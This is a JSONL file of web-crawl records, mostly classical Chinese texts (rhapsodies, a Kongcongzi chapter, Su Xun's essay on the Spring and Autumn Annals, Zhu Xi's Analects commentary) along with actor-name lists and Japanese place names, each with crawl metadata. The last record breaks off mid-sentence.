+{"text":"羌蝴蝶之可憙兮,紛化育乎陽和。二角六足,蠕腹狀蛾,脈紺縷以元翅,點赭珠以緗窠。淩獵蘭蕊,噓吸蕙葩,飛將進而又退兮,含百態以委蛇。豈綿舞而不懈兮,柰眾芳其鑠何?圖君子之翠屏,儷彩族而星羅。蒙左右之深賞,況夢寐之所嘉。","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/zh.wikisource.org\/wiki\/%E8%9D%B4%E8%9D%B6%E8%B3%A6","date":"2020-09-26T19:46:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400244353.70\/warc\/CC-MAIN-20200926165308-20200926195308-00409.warc.gz","language":"lzh","language_score":0.4100117385,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.41001173853874207, \"cmn_Hani_score\": 0.1409710794687271, \"und_Lina_score\": 0.060169853270053864, \"zxx_Latn_score\": 0.04134078696370125, \"yue_Hani_score\": 0.037898868322372437, \"nan_Hani_score\": 0.027290306985378265, \"und_Xsux_score\": 0.025463927537202835, \"und_Yiii_score\": 0.01793493703007698, \"wuu_Hani_score\": 0.01701880618929863, \"und_Vaii_score\": 0.016869070008397102, \"und_Cyrl_score\": 0.01635241135954857, \"und_Plrd_score\": 0.010694487951695919, \"und_Egyp_score\": 0.010617184452712536, \"und_Hung_score\": 0.01012573391199112}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.4,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n林文龍 黃翠如 連詩雅 馬貫東 謝芷倫 黃嘉樂 蘇皓兒 顧定軒 陳自瑤 劉溫馨 袁潔儀 李任燊 李日升 姚浩政 孟希璘 王卓淇 黃芷晴 麥皓兒 鍾志光 陳志健 楊卓娜 馮素波 岑杏賢 冼灝英 溫裕紅 劉天龍 李寶君 李寶珊 翟鋒 邱晴 黃凱琪 陳靜堯 梁雯蔚 關浩揚 姚亦澧 林穎彤 盧偉文 吳珮如 伍富橋 潘冠霖 林靖文 何家銘 王浚聲 馬溱禧 黃韻娜 何晉樂 吳子衝 張詩欣 黃子桐 黃可盈 陳苑澄\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n陳松伶 陳煒 黃智賢 徐榮 江嘉敏 陳瀅 餘德丞 林韋辰 楊卓娜 鄭敬基 盧宛茵 程可爲 邵卓堯 徐玟晴 陳榮峻 譚永浩 吳珮如 張漢斌 遊莨維 曾健明 區靄玲 魏惠文 易智遠 戴耀明 關梓陽 李興華 杜大偉 黃得生 範仲恆 莊思明 吳香倫 趙樂賢 湯俊明 陳俊堅 陳嘉輝 沈可欣 吳瑞庭 楊證樺 吳嘉儀 潘冠霖 布偉傑 譚偉權 黃穎君 梁雯蔚 莫家淦 周寶霖\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E6%A2%81%E9%9B%AF%E8%94%9A------------.html","date":"2020-09-24T21:00:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400220495.39\/warc\/CC-MAIN-20200924194925-20200924224925-00609.warc.gz","language":"lzh","language_score":0.7310766578,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.7310766577720642, \"cmn_Hani_score\": 0.1753198206424713, \"nan_Hani_score\": 0.08207034319639206, \"yue_Hani_score\": 0.010838568210601807}","num_words":250,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.764,"perplexity_score":500.0,"cluster_detection":1} +{"text":"原夫簫幹之所生兮,於江南之丘墟。洞條暢而罕節兮,標敷紛以扶疏。徒觀其旁山側兮,則嶇嶔巋崎,倚巇迤,誠可悲乎其不安也。彌望儻莽,聯延曠蕩,又足樂乎其敞閑也。托身軀於後土兮,經萬載而不遷。吸至精之滋熙兮,稟蒼色之潤堅。感陰陽之變化兮,附性命乎皇天。翔風蕭蕭而徑其末兮,回江流川而溉其山。揚素波而揮連珠兮,聲礚礚而澍淵。\n朝露清冷而隕其側兮,玉液浸潤而承其根。孤雌寡鶴,娛優乎其下兮,春禽群嬉,翱翔乎其顛。秋蜩不食,抱樸而長吟兮,玄猿悲嘯,搜索乎其間。處幽隱而奧庰兮,密漠泊以猭。惟詳察其素體兮,宜清靜而弗喧。幸得諡為洞簫兮,蒙聖主之渥恩。可謂惠而不費兮,因天性之自然。\n於是般匠施巧,夔妃準法。帶以象牙,其會合。鎪鏤裏灑,絳唇錯雜;鄰菌繚糾,羅鱗捷獵;膠致理比,挹抐擫。於是乃使夫性昧之宕冥,生不睹天地之體勢,闇於白黑之貌形;憤伊鬱而酷,湣眸子之喪精;寡所舒其思慮兮,專發憤乎音聲。\n故吻吮值夫宮商兮,和紛離其匹溢。形旖旎以順吹兮,瞋以紆鬱。氣旁迕以飛射兮,馳散渙以逫律。趣從容其勿述兮,騖合遝以詭譎。或渾沌而潺湲兮,獵若枚折;或漫衍而絡繹兮,沛焉競溢。惏栗密率,掩以絕滅,霵曄踕,跳然複出。\n若乃徐聽其曲度兮,廉察其賦歌。啾咇而將吟兮,行鍖銋以和囉。風鴻洞而不絕兮,優嬈嬈以婆娑。翩綿連以牢落兮,漂乍棄而為他。要複遮其蹊徑兮,與謳謠乎相和。\n故聽其巨音,則周流汜濫,並包吐含,若慈父之畜子也。其妙聲,則清靜厭瘱,順敘卑達,若孝子之事父也。科條譬類,誠應義理,澎濞慷慨,一何壯士,優柔溫潤,又似君子。\n故其武聲,則若雷霆輘輷,佚豫以沸。其仁聲,則若颽風紛披,容與而施惠。或雜遝以聚斂兮,或拔摋以奮棄。悲愴怳以惻惐兮,時恬淡以綏肆。被淋灑其靡靡兮,時橫潰以陽遂。哀悁悁之可懷兮,良醰醰而有味。\n故貪饕者聽之而廉隅兮,狼戾者聞之而不懟。剛毅強暴反仁恩兮,嘽唌逸豫戒其失。鍾期、牙、曠悵然而愕兮,杞梁之妻不能為其氣。師襄、嚴春不敢竄其巧兮,浸淫、叔子遠其類。嚚、頑、朱、均惕複惠兮,桀、蹠、鬻、博儡以頓悴。吹參差而入道德兮,故永禦而可貴。時奏狡弄,則彷徨翱翔,或留而不行,或行而不留。愺恅瀾漫,亡耦失疇,薄索合遝,罔象相求。\n故知音者樂而悲之,不知音者怪而偉之。故聞其悲聲,則莫不愴然累欷,撇涕抆淚;其奏歡娛,則莫不憚漫衍凱,阿那腲腇者已。是以蟋蟀蠖,蚑行喘息;螻蟻蝘蜒,蠅蠅栩栩。遷延徙迤,魚瞰鳥睨,垂喙轉,瞪瞢忘食,況感陰陽之和,而化風俗之倫哉!\n亂曰:狀若捷武,超騰逾曳,迅漂巧兮。又似流波,泡溲泛,趨巇道兮。哮呷喚,躋躓連絕,淈殄沌兮。攪搜捎,逍遙踴躍,若壞頹兮。優遊流離,躊躇稽詣,亦足耽兮。頹唐遂往,長辭遠逝,漂不還兮。賴蒙聖化,從容中道,樂不淫兮。條暢洞達,中節操兮。終詩卒曲,尚餘音兮。吟氣遺響,聯綿漂撇,生微風兮。連延絡繹,變無窮兮。","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/big5.shicidaquan.net\/shici_254.html","date":"2020-09-22T16:57:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206329.28\/warc\/CC-MAIN-20200922161302-20200922191302-00653.warc.gz","language":"lzh","language_score":0.3887597024,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.38875970244407654, \"cmn_Hani_score\": 0.27848783135414124, \"nan_Hani_score\": 0.06980903446674347, \"zxx_Latn_score\": 0.05455321446061134, \"yue_Hani_score\": 0.023349983617663383, \"jpn_Jpan_score\": 0.022281954064965248, \"und_Tang_score\": 0.018231362104415894, \"wuu_Hani_score\": 0.017251282930374146}","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.384,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n郭晉安 吳卓羲 陳錦鴻 徐子珊 梁靖琪 劉兆銘 周驄 郭少芸 許紹雄 梁競徽 陳曼娜 姚嘉妮 汪琳 郭政鴻 夏萍 楊瑞麟 簡慕華 黃澤鋒 梁舜燕 麥長青 祝文君 姚瑩瑩 吳諾弘 羅仲謙 麥嘉倫 梁健平 鄺佐輝 鍾志光 夏竹欣 李穎芝 李璧琦 王青 張紋嘉 陳榮峻 陳狄克 周寶霖 李鴻傑 招石文 楊潮凱 何慶輝 陳志健 李偉健 沈可欣 尹詩沛 李君妍 曾健明 陳琪 範彩兒 陳建文 陳珈穎 楊證樺 邵卓堯 高俊文 陳勉良 郭田葰 何俊軒 羅天池 陳宛蔚 阮兒 蘇恩磁 李興華 羅泳嫺 布偉傑 余子明 蕭凱欣 方\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E9%99%B3%E5%BB%BA%E6%96%87------------.html","date":"2020-09-28T22:05:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401614309.85\/warc\/CC-MAIN-20200928202758-20200928232758-00097.warc.gz","language":"lzh","language_score":0.6947857738,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6947857737541199, \"cmn_Hani_score\": 0.22471873462200165, \"nan_Hani_score\": 0.06849955767393112, \"yue_Hani_score\": 0.01060225535184145}","num_words":186,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.746,"perplexity_score":500.0,"cluster_detection":1} +{"text":"﹤首页 > > 儒部 > 语录 > 孔丛子 > 巡 狩 第 八\n巡 狩 第 八\n子思遊齊、陳莊伯與登泰山而觀、見古天子巡狩之銘焉、陳子曰我生獨不及帝王封禪之世、子思曰子不欲爾。今周室卑微諸侯無霸。假以齊之眾連鄰國以輔文武子孫之有德者。則齊桓晉文之事不足言也。陳子曰非不悅斯道力不堪也、子聖人之後、吾願有聞焉、敢問昔聖帝明王巡狩之禮、可得聞乎、子思曰凡求聞者。為求行之也。今子自計。必不能行。欲聞何為。陳子曰吾雖不敏。亦樂先生之道。於子何病而不吾告也。子思乃告之。曰古者天子將巡狩。必先告於祖禰。命史告群廟及社稷圻內名山大川。告者七日而遍。親告用牲。史告用幣。申命冢宰而後清道而出。或以遷廟之主行載於齋車。每舍奠焉。及所經五嶽四瀆皆有牲幣。歲二月東巡狩至于岱宗。柴于上帝望秩于山川。所過諸侯各待於境。天子先問百年者所在而親問之。然後覲方岳之諸侯有功德者。則發爵賜服以順陽義。無功者。則削黜貶退以順陰義。命史采民詩謠以觀其風。命市納價。察民之所好惡以知其志。命典禮正制度。均量衡。考衣服之等。協時月日辰。入其疆。遺老失賢。掊克在位。則君免。山川社稷有不親舉。土荒民遊為無教。無教者則君退。民淫僭上為無法。無法者則君罪。入其疆土地墾闢。養老尊賢。俊傑在位。則君有慶遂南巡五月至於南嶽。又西巡八月至於西嶽。又北巡十有一月至於北嶽。其禮皆如岱宗。歸反舍於外次。三日齋。親告於祖禰。用特。命有司告群廟社稷及圻內名山大川。而後入聽朝。此古者明王巡狩之禮也。陳子曰諸侯朝於天子盟會霸主、則亦告宗廟山川乎、子思曰告哉。陳子曰王者巡狩不及四岳、諸侯盟會不越鄰國、則其禮同乎異乎、子思曰天子封圻千里。公侯百里。伯七十里。子男五十里。虞夏殷周之常制也。其或出此封者。則其禮與巡狩朝會無變。其不越封境。雖行如國。陳子曰古之義也吾今而後知不學者淺之為人也。","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/m2.guoxuedashi.com\/a\/384a\/11614f.html","date":"2021-01-23T20:04:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703538431.77\/warc\/CC-MAIN-20210123191721-20210123221721-00066.warc.gz","language":"lzh","language_score":0.6126899719,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.6126899719238281, \"cmn_Hani_score\": 0.15951766073703766, \"zxx_Latn_score\": 0.039017852395772934, \"jpn_Jpan_score\": 0.034819237887859344, \"nan_Hani_score\": 0.03203925862908363, \"yue_Hani_score\": 0.010218990035355091}","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.613,"perplexity_score":500.0,"cluster_detection":1} +{"text":"春秋論\n|本條目記敘的是蘇洵的作品,如您想了解其他同名文章,可參見「春秋論 (消歧義)」。|\n賞罰者,天下之公也。是非者,一人之私也。位之所在,則聖人以其權為天下之公,而天下以懲以勸。道之所在,則聖人以其位為一人之私,而天下以榮以辱。\n周之衰也,位不在夫子,而道在焉。夫子以其權是非天下可也。而《春秋》賞人之功,赦人之罪,去人之族,絕人之國,貶人之爵,諸侯而或書其名,大夫而或書其字,不惟其法,惟其意;不徒曰此是此非,而賞罰加焉。則夫子固曰:我可以賞罰人矣。賞罰人者,天子、諸侯事也。夫子病天下之諸侯、大夫僭天子、諸侯之事而作《春秋》,而己則為之,其何之責天下?位,公也;道,私也。私不勝公,則道不勝位。位之權得以賞罰,而道之權不過於是非。道在我矣,而不得為有位者之事,則天下皆曰:位之不可僭也如此!不然,天下其誰不曰道在我。則是道者,位之賊也。曰:夫子豈誠賞罰之耶,徒曰賞罰之耳,庸何傷。曰:我非君也,非吏也,執塗之人而告之曰:某為善,某為惡,可也。繼之曰:某為善,吾賞之,某為惡,吾誅之,則人有不笑我者乎?夫子之賞罰何以異此。然則,何足以為夫子?何足以為《春秋》?曰:夫子之作《春秋》也,非曰孔氏之書也,又非曰我作之也。賞罰之權不以自與也。曰:此魯之書也,魯作之也。有善而賞之,曰魯賞之也,有惡而罰之,曰魯罰之也。何以知之?曰:夫子系《易》謂之《系辭》,言《孝》謂之《孝經》,皆自名之,則夫子私之也。而《春秋》者,魯之所以名史,而夫子托焉,則夫子公之也。公之以魯史之名,則賞罰之權固在魯矣。《春秋》之賞罰自魯而及於天下,天子之權也。魯之賞罰不出境,而以天子之權與之,何也?曰:天子之權在周,夫子不得已而以與魯也。武王之崩也,天子之位當在成王,而成王幼,周公以為天下不可以無賞罰,故不得已而攝天子之位以賞罰天下,以存周室。周之東遷也,天子之權當在平王,而平王昏,故夫子亦曰:天下不可以無賞罰。而魯,周公之國也,居魯之地者,宜如周公不得已而假天子之權以賞罰天下,以尊周室,故以天子之權與之也。然則,假天子之權宜如何?曰:如齊桓、晉文可也。夫子欲魯如齊桓、晉文,而不遂以天子之權與齊、晉者,何也?齊桓、晉文陽為尊周,而實欲富強其國。故夫子與其事而不與其心。周公心存王室,雖其子孫不能繼,而夫子思周公而許其假天子之權以賞罰天下。其意曰:有周公之心,而後可以行桓、文之事,此其所以不與齊、晉而與魯也。夫子亦知魯君之才不足以行周公之事矣,顧其心以為今之天下無周公,故至此。是故以天子之權與其子孫,所以見思周公之意也。\n吾觀《春秋》之法,皆周公之法,而又詳內而略外,此其意欲魯法周公之所為,且先自治而後治人也明矣。夫子嘆禮樂征伐自諸侯出,而田常弒其君,則沐浴而請討。然則天子之權,夫子固明以與魯也。子貢之徒不達夫子之意,續經而書孔子卒。夫子既告老矣,大夫告老而卒不書,而夫子獨書。夫子作《春秋》以公天下,而豈私一孔子哉!嗚呼!夫子以為魯國之書而子貢之徒以為孔氏之書也歟!遷、固之史,有是非而無賞罰,彼亦史臣之體宜爾也。後之效夫子作《春秋》者,吾惑焉。《春秋》有天子之權。天下有君,則《春秋》不當作;天下無君,則天下之權吾不知其誰與。天下之人,烏有如周公之後之可與者?與之而不得其人則亂,不與人而自與則僭,不與人、不自與而無所與則散。嗚呼!後之《春秋》,亂耶,僭耶,散耶!\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E6%98%A5%E7%A7%8B%E8%AB%96","date":"2021-05-16T00:47:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991488.53\/warc\/CC-MAIN-20210515223209-20210516013209-00306.warc.gz","language":"lzh","language_score":0.4886417091,"language_script":"Hani","minhash_cluster_size":19,"top_langs":"{\"lzh_Hani_score\": 0.4886417090892792, \"cmn_Hani_score\": 0.44612935185432434, \"nan_Hani_score\": 0.0463845394551754, \"wuu_Hani_score\": 0.012858426198363304}","num_words":7,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.666,"perplexity_score":500.0,"cluster_detection":1} +{"text":"※東津軽郡外ヶ浜町の位置は実際とは異なる場合があります。\n東津軽郡外ヶ浜町内の町域\n上蟹田 蟹田 | 蟹田石浜 | 蟹田大平 | 蟹田小国 | 蟹田塩越 | 蟹田中師 | 蟹田南沢 | 蟹田山本 下蟹田 平舘 | 平舘石崎沢 | 平舘磯山 | 平舘今津 | 平舘根岸 | 平舘野田 | 平舘舟岡 | 平舘元宇田 | 平舘弥蔵釜 三厩家ノ上 | 三厩宇鉄山 | 三厩釜野澤 | 三厩上宇鉄 | 三厩川柱 | 三厩木落 | 三厩源兵衛間 | 三厩算用師 | 三厩四枚橋 | 三厩下平 | 三厩尻神 | 三厩新町 | 三厩龍浜 | 三厩中浜 | 三厩梨ノ木間 | 三厩鳴神 | 三厩東町 | 三厩梹榔 | 三厩藤嶋 | 三厩本町 | 三厩鐇泊 | 三厩増川 | 三厩緑ケ丘 | 三厩元宇鉄 | 三厩桃ケ丘 | 三厩鎧嶋 | 三厩六條間","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/yomi.chocoedge.com\/c\/%E8%AA%AD%E3%81%BF%E6%96%B9\/%E9%9D%92%E6%A3%AE%E7%9C%8C%E6%9D%B1%E6%B4%A5%E8%BB%BD%E9%83%A1%E5%A4%96%E3%83%B6%E6%B5%9C%E7%94%BA.html","date":"2022-09-28T09:40:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335190.45\/warc\/CC-MAIN-20220928082743-20220928112743-00791.warc.gz","language":"lzh","language_score":0.5458196998,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5458196997642517, \"jpn_Jpan_score\": 0.2694760859012604, \"cmn_Hani_score\": 0.17643986642360687}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.365,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.546,"perplexity_score":500.0,"cluster_detection":1} +{"text":"論語集注\nご注意: 未更訂のテクストです。\n論語集注卷一\n學而第一此為書之首篇、故所記多務本之意、乃入道之門、積德之基、學者之先務也。凡十六章。\n子曰學而時習之、不亦說乎。說、悅同。學之為言效也。人性皆善、而覺有先後、後覺者必效先覺之所為、乃可以明善而復其初也。習、鳥數飛也。學之不已、如鳥數飛也。說、喜意也。既學而又時時習之、則所學者熟、而中心喜說、其進自不能已矣。程子曰習、重習也。時復思繹、浹洽於中、則說也。又曰學者、將以行之也。時習之、則所學者在我、故說。謝氏曰時習者、無時而不習。坐如尸、坐時習也。立〔一〕如齊、立時習也。有朋自遠方來、不亦樂乎。樂、音洛。朋、同類也。自遠方來、則近者可知。程子曰以善及人、而信從者眾、故可樂。又曰說在心、樂主發散在外。人不知而不慍、不亦君子乎。慍、紆問反。慍、含怒意。君子、成德之名。尹氏曰學在己、知不知在人、何慍之有。程子曰雖樂於及人、不見是而無悶、乃所謂君子。愚謂及人而樂者順而易、不知而不慍者逆而難、故惟成德者能之。然德之所以成、亦曰學之正、習之熟、說之深、而不已焉耳。程子曰樂由說而後得、非樂不足以語君子。\n〔一〕立、原作一、據清仿宋大字本改。\n有子曰其為人也孝弟、而好犯上者、鮮矣。不好犯上、而好作亂者、未之有也。弟、好、皆去聲。鮮、上聲、下同。有子、孔子弟子、名若。善事父母為孝、善事兄長為弟。犯上、謂干犯在上之人。鮮、少也。作亂、則為悖逆爭鬥之事矣。此言人能孝弟、則其心和順、少好犯上、必不好作亂也。君子務本、本立而道生。孝弟也者、其為仁之本與與、平聲。務、專力也。本、猶根也。仁者、愛之理、心之德也。為仁、猶曰行仁。與者、疑辭、謙退不敢質言也。言君子凡事專用力於根本、根本既立、則其道自生。若上文所謂孝弟、乃是為仁之本、學者務此、則仁道自此而生也。程子曰孝弟、順德也、故不好犯上、豈復有逆理亂常之事。德有本、本立則其道充大。孝弟行於家、而後仁愛及於物、所謂親親而仁民也。故為仁以孝弟為本。論性、則以仁為孝弟之本。或問孝弟為仁之本、此是由孝弟可以至仁否。曰非也。謂行仁自孝弟始、孝弟是仁之一事。謂之行仁之本則可、謂是仁之本則不可。蓋仁是性也、孝弟是用也、性中只有箇仁、義、禮、智四者而已、曷嘗有孝弟來。然仁主於愛、愛莫大於愛親、故曰孝弟也者、其為仁之本與\n子曰巧言令色、鮮矣仁。 巧、好。令、善也。好其言、善其色、致飾於外、務以悅人、則人欲肆而本心之德亡矣。聖人辭不迫切、專言鮮、則絕無可知、學者所當深戒也。程子曰知巧言令色之非仁、則知仁矣。\n曾子曰吾日三省吾身為人謀而不忠乎。與朋友交而不信乎。傳不習乎。省、悉井反。為、去聲。傳、平聲。曾子、孔子弟子、名參、字子輿。盡己之謂忠。以實之謂信。傳、謂受之於師。習、謂熟之於己。曾子以此三者日省其身、有則改之、無則加勉、其自治誠切如此、可謂得為學之本矣。而三者之序、則又以忠信為傳習之本也。尹氏曰曾子守約、故動必求諸身。謝氏曰諸子之學、皆出於聖人、其後愈遠而愈失其真。獨曾子之學、專用心於內、故傳之無弊、觀於子思孟子可見矣。惜乎其嘉言善行、不盡傳於世也。其幸存而未泯者、學者其可不盡心乎\n子曰道千乘之國敬事而信、節用而愛人、使民以時。道、乘、皆去聲。道、治也。馬氏云八百家出車一乘。〔一〕千乘、諸侯之國、其地可出兵車千乘者也。敬者、主一無適之謂。敬事而信者、敬其事而信於民也。時、謂農隙之時。言治國之要、在此五者、亦務本之意也。程子曰此言至淺、然當時諸侯果能此、亦足以治其國矣。聖人言雖至近、上下皆通。此三言者、若推其極、堯舜之治亦不過此。若常人之言近、則淺近而已矣。楊氏曰上不敬則下慢、不信則下疑、下慢而疑、事不立矣。敬事而信、以身先之也。易曰『節以制度、不傷財、不害民。』蓋侈用則傷財、傷財必至於害民、故愛民必先於節用。然使之不以其時、則力本者不獲自盡、雖有愛人之心、而人不被其澤矣。然此特論其所存而已、未及為政也。苟無是心、則雖有政、不行焉。胡氏曰凡此數者、又皆以敬為主。愚謂五者反復相因、各有次第、讀者宜細推之。\n〔一〕馬氏云八百家出車一乘十字、據清仿宋大字本補。\n子曰弟子入則孝、出則弟、謹而信、汎愛眾、而親仁。行有餘力、則以學文。弟子之弟、上聲。則弟之弟、去聲。謹者、行之有常也。信者、言之有實也。汎、廣也。眾、謂眾人。親、近也。仁、謂仁者。餘力、猶言暇日。以、用也。文、謂詩書六藝之文。程子曰為弟子之職、力有餘則學文、不修其職而先文、非為己之學也。尹氏曰德行、本也。文藝、末也。窮其本末、知所先後、可以入德矣。洪氏曰未有餘力而學文、則文滅其質。有餘力而不學文、則質勝而野。愚謂力行而不學文、則無以考聖賢之成法、識事理之當然、而所行或出於私意、非但失之於野而已。\n子夏曰賢賢易色、事父母能竭其力、事君能致其身、與朋友交言而有信。雖曰未學、吾必謂之學矣。子夏、孔子弟子、姓卜、名商。賢人之賢、而易其好色之心、好善有誠也。致、猶委也。委致其身、謂不有其身也。四者皆人倫之大者、而行之必盡其誠、學求如是而已。故子夏言有能如是之人、苟非生質之美、必其務學之至。雖或以為未嘗為學、我必謂之已學也。游氏曰三代之學、皆所以明人倫也。能是四者、則於人倫厚矣。學之為道、何以加此。子夏以文學名、而其言如此、則古人之所謂學者可知矣。故學而一篇、大抵皆在於務本。吳氏曰子夏之言、其意善矣。然辭氣之間、抑揚太過、其流之弊、將或至於廢學。必若上章夫子之言、然後為無弊也。\n子曰君子不重則不威、學則不固。重、厚重。威、威嚴。固、堅固也。輕乎外者、必不能堅乎內、故不厚重則無威嚴、而所學亦不堅固也。主忠信。人不忠信、則事皆無實、為惡則易、為善則難、故學者必以是為主焉。程子曰人道惟在忠信、不誠則無物、且出入無時、莫知其鄉者、人心也。若無忠信、豈復有物乎。無友不如己者。無、毋通、禁止辭也。友所以輔仁、不如己、則無益而有損。過則勿憚改。勿、亦禁止之辭。憚、畏難也。自治不勇、則惡日長、故有過則當速改、不可畏難而苟安也。程子曰學問之道無他也、知其不善、則速改以從善而已。程子曰君子自修之道當如是也。游氏曰君子之道、以威重為質、而學以成之。學之道、必以忠信為主、而以勝己者輔之。然或吝於改過、則終無以入德、而賢者亦未必樂告以善道、故以過勿憚改終焉。\n曾子曰慎終追遠、民德歸厚矣。慎終者、喪盡其禮。追遠者、祭盡其誠。民德歸厚、謂下民化之、其德亦歸於厚。蓋終者、人之所易忽也、而能謹之。遠者、人之所易忘也、而能追之厚之道也。故以此自為、則己之德厚、下民化之、則其德亦歸於厚也。\n子禽問於子貢曰夫子至於是邦也、必聞其政、求之與。抑與之與。之與之與、平聲、下同。子禽、姓陳、名亢。子貢、姓端木、名賜。皆孔子弟子。或曰亢、子貢弟子。未知孰是。抑、反語辭。子貢曰夫子溫、良、恭、儉、讓以得之。夫子之求之也、其諸異乎人之求之與。溫、和厚也。良、易直也。恭、莊敬也。儉、節制也。讓、謙遜也。五者、夫子之盛德光輝接於人者也。其諸、語辭也。人、他人也。言夫子未嘗求之、但其德容如是、故時君敬信、自以其政就而問之耳、非若他人必求之而後得